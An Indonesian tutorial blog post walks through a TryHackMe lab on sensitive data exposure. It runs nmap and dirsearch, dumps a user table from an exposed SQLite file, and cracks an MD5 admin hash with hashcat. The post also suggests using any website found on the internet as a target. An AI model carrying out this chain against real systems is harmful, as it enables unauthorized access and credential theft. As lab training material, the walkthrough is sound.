Cara Mendapatkan Sensitive Data Exposure di Web Application - Sensitive Data Exposure merupakan salah satu common vulnerabilities, atau kerentanan yang umum didalam sebuah web application, maksudnya adalah, terdapat kerentanan pada sebuah web application yang menyebabkan tereksposnya data sensitif yang seharusnya bersifat rahasia, namun bisa diakses oleh attacker secara illegal.
Sensitive data yang dimaksud ini bisa berupa informasi mengenai akun pengguna seperti username, password, PII (Personally Identifiable Information) dan sebagainya. Contoh lainnya adalah file konfig yang terkespos dan masih banyak lagi. Tentu saja kerentanan ini sangat berbahaya, jika informasi sensitif tersebut bisa diperoleh oleh attacker, maka bukan tidak mungkin si attacker bisa mempelajari, memanfaatkan, bahkan menyusup ke dalam sistem secara illegal.
Yang tidak kalah mengerikannya lagi, informasi sensitif ini bisa saja disalahgunakan oleh orang yang tidak bertanggungjawab, misalnya saja dijual di forum-forum underground seperti kasus data breach yang terjadi di salah satu online marketplace terbesar di Indonesia beberapa waktu yang lalu.
Sensitive data exposure ini diklasifikasikan oleh Owasp Top 10 (2017) sebagai A03:2017-Sensitive Data Exposure. Sedangkan di Owasp Top 10 (2021), yaitu versi Owasp terbaru yang saat ini digunakan (Pada saat artikel ini dirilis), sensitive data exposure ini diklasifikasikan kedalam A02:2021-Cryptographic Failures.
Bagaimana Cara Mendapatkan Sensitive Data Pada Web Application?
Baiklah, kita langsung saja masuk ke lab-nya, di artikel kali ini, tutorialjaringan.com akan membahas bagaimana cara seorang threat actor dapat memperoleh sensitive data dengan memanfaatkan kerentanan pada sebuah web application.
Agar tidak perlu repot-repot setup lab dari awal, untuk itu pada tutorial kali ini saya menggunakan lab dari TryHackMe.com, bagi kalian yang ingin mempraktekkannya juga bisa akses room OWASP Top 10 melalui link berikut ini : https://tryhackme.com/room/owasptop10. Saya tidak akan menjelaskan langkah-langkah mengakses mesin lab di TryHackMe, silahkan kalian explore sendiri ya.
Tapi intinya, kita harus punya target, target yang dimaksud tentu saja sebuah web application, entah itu web application yang kalian siapkan sendiri di lab environment maupun website-website yang kalian temukan di internet, bebas.
DISCLAIMER!
Tutorial ini hanya ditujukan untuk pembelajaran semata (educational purpose only), tutorialjaringan.com tidak menyarankan ilmu yang kalian pelajari dari tutorial ini digunakan untuk tindakan illegal yang merugikan orang lain.
Baik, kita lanjut lagi.
#1. Melakukan Reconnaissance
Langkah pertama tentu saja kita melakukan reconnaissance atau information gathering, pada tahap ini kita mengumpulkan informasi mengenai port dan service apa saja yang berjalan di sisi server. Untuk proses ini kita bisa memanfaatkan tools Nmap.
Baca juga : Tutorial Information Gathering Dengan Nmap
Untuk melakukan recon dengan Nmap caranya cukup mudah, silahkan kalian jalankan command berikut di terminal Kali Linux.
$ nmap -sV -Pn -T4 10.10.182.22
Berikut output yang ditampilkan dari hasil scanning menggunakan Nmap.
Next ..
Masih di tahap information gathering, langkah berikutnya yaitu kita melakukan directory enumeration, tujuannya adalah untuk mendapatkan informasi mengenai directory yang ada di web server, untuk melakukan directory enumeration, kita bisa memanfaatkan tools dirsearch.
$ dirsearch -u http://10.10.182.22 -x 403
Command di atas berfungsi untuk melakukan pencarian directory dengan teknik directory brute-force dengan menggunakan wordlist yang sudah dimiliki oleh dirsearch, sedangkan opsi -x 403 tujuannya adalah untuk filtering agar dirsearch tidak menampilkan output dengan HTTP Response Code 403.
- /assets/
- /login/
Sekarang kita coba akses directory /assets/ melalui URL bar dengan mengetikkan full path seperti ini http://10.10.182.22/assets.
$ cd Downloads/
$ ls -l | grep webapp.db
Kemudian kita check jenis file tersebut dengan command file.
$ file webapp.db
Untuk lebih jelasnya silahkan kalian lihat screenshoot di bawah ini.
$ sqlite3 webapp.db
sqlite> .tables
sessions users
sqlite> PRAGMA table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
sqlite> SELECT * FROM users;
4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
#2. Melakukan Password Cracking
Setelah mendapatkan informasi username dan juga password dalam bentuk hash, langkah selanjutnya yaitu kita akan coba melakukan cracking hash password tersebut. Tapi sebelumnya, kita harus mengidentifikasi jenis hash yang digunakan.
Untuk mengidentifikasi jenis hash, kita bisa menggunakan tools hash-identifier yang sudah tersedia di Kali Linux.
6eea9b7ef19179a06954edd0f6c05ceb
$ hash-identifier 6eea9b7ef19179a06954edd0f6c05ceb
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
$ echo "6eea9b7ef19179a06954edd0f6c05ceb" > admin_hash.txt
Jika sudah, langsung saja kita jalankan hashcat dengan command berikut :
$ hashcat -m 0 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
Kita tunggu beberapa saat sampai hashcat berhasil melakukan cracking, jika hashcat sudah menyelesaikan tugasnya dan berhasil melakukan cracking, maka kita akan mendapatkan hasilnya seperti contoh berikut.
#3. Gaining Access
Setelah berhasil mendapatkan informasi username dan password, sekarang kita lanjut ke tahap berikutnya, yaitu Gaining Access.
Gaining Access adalah fase dimana seoarang threat actor akan berupaya untuk mendapatkan akses ke dalam sistem, entah itu masuk ke dalam jaringan yang ingin disusupinya, masuk ke dalam dashboard aplikasi, atau berinteraksi langsung dengan operating system yang menjadi targetnya.
Karena pada lab ini target yang dimaksud adalah sebuah web application, maka kita akan mensimulasikan bagaimana threat actor masuk ke dalam web application dengan memanfaatkan informasi username dan juga password yang sudah berhasil dicrack-nya.
Masih ingat fase recon yang kita lakukan di awal lab? Di fase recon tersebut kita berhasil mendapatkan informasi directory yang accessible, salah satunya yaitu /login/, sekarang silahkan coba kalian akses directory tersebut melalui web browser dengan mengetikkan http://10.10.182.22/login/.
Conclusion
Dari sini kita bisa menarik kesimpulan bahwa jika suatu web application memiliki celah keamanan yang memungkinkannya untuk mengekspos data sensitif ini bisa sangat berbahaya. Karena informasi sensitif tersebut bisa saja dimanfaatkan oleh threat actor yang memiliki tujuan buruk.
Demikianlah tutorial yang bisa saya sampaikan pada kesempatan kali ini, semoga bermanfaat.